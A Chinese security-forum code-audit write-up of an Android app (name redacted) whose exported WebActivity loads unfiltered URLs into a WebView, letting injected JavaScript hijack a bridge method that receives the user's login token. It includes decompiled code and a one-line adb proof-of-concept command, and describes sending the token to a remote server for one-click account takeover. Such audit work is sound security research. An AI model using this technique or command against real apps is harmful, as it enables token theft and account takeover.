-
-
[原创]【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管
-
发表于: 1小时前 60
-
“ 道也梦中来,青居心上请。 觉时花未央,剑罢孤楼影。——《我有一身被动技》 ”
01操作步骤
1、WebActivity可导出

<activity
android:name="com.xxx.community.ui.web.WebActivity"
android:exported="true"
android:configChanges="screenSize|orientation|keyboardHidden"/>
2、查看com.xxx.web.WebActivity,入口initView(),传参没有过滤直接赋值给this.webUrl
如果是app://,走内部业务跳转,
否则调用createAgentWeb().ready().go(this.webUrl);

String stringExtra = getIntent().getStringExtra(ProviderConstant.WEB_URL);
this.webUrl = stringExtra;
.setOpenOtherPageWays(DefaultWebClient.OpenOtherPageWays.ASK).interceptUnkownUrl().createAgentWeb().ready().go(this.webUrl);
3、从go()一步步跟到UrlLoaderImpl()

UrlLoaderImpl(WebView webView, HttpHeaders httpHeaders) {
this.mHandler = null;
this.mWebView = webView;
this.mHttpHeaders = httpHeaders;
if (httpHeaders == null) {
this.mHttpHeaders = HttpHeaders.create();
}
this.mHandler = new Handler(Looper.getMainLooper());
}
4、str没有过滤,最终传参到WebView.loadUrl(str)直接执行

if (map == null || map.isEmpty()) {
this.mWebView.loadUrl(str);
}
5、继续分析,发现注册了AndroidInterface作为JavaScript桥接

JsInterfaceHolder jsInterfaceHolder = agentWeb2.getJsInterfaceHolder();
AgentWeb agentWeb3 = this.mAgentWeb;
if (agentWeb3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("mAgentWeb");
agentWeb3 = null;
}
jsInterfaceHolder.addJavaObject(DispatchConstants.ANDROID, new AndroidInterface(agentWeb3, this));
6、进到AndroidInterface类,发现callNativeFunc方法
callNativeFunc是Android原生提供给WebView,可以被JavaScript调用的方法

public void callNativeFunc(final String str) {
this.deliver.post(new Runnable() { // from class: com.xxx.web.AndroidInterface.1
@Override // java.lang.Runnable
public void run() {
Log.i("Info", "main Thread:" + Thread.currentThread());
Toast.makeText(StubApp.getOrigApplicationContext(AndroidInterface.this.context.getApplicationContext()), "" + str, 1).show();
}
});
Log.i("Info", "Thread:" + Thread.currentThread());
}
7、agentWeb.getJsAccessEntrace()分析
agentWeb,AgentWeb实例,封装了WebView
.getJsAccessEntrace(),获取JavaScript访问入口对象,用于原生代码调用JavaScript
quickCallJs()第一个参数callNativeFunc(),第二个参数接收函数返回值
第三个参数CommonUtilsKt.getToken()获取token

agentWeb.getJsAccessEntrace().quickCallJs("callNativeFunc", new ValueCallback() { // from class:
@Override // android.webkit.ValueCallback
public final void onReceiveValue(Object obj) {
WebActivity.m122initView$lambda0((String) obj);
}
}, CommonUtilsKt.getToken());
8、进到getToken(),获取MMKV默认实例,从存储中读取key为"token"的字符串值

public static final String getToken() {
String strDecodeString = MMKV.defaultMMKV().decodeString("token");
return strDecodeString == null ? "" : strDecodeString;
}
9、构造poc,当原生代码调用callNativeFunc(token)时,实际上执行的是alert(token)
adb shell am start -W -n com.xxx/com.xxx.web.WebActivity --es web_url "javascript:window.callNativeFunc=alert"

10、成功获取token,由于存在社区功能,可以发帖,fetch到远程服务器上,1click账号接管

11、与实际请求token进行对比一致

“ 最近在看新的机会,希望能去武汉、深圳或上海发展。个人主要深耕渗透测试方向,平时对逆向工程也有研究。如果有合适的团队或岗位,还望各位大佬多多帮忙留意和推荐,感激不尽!”
[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。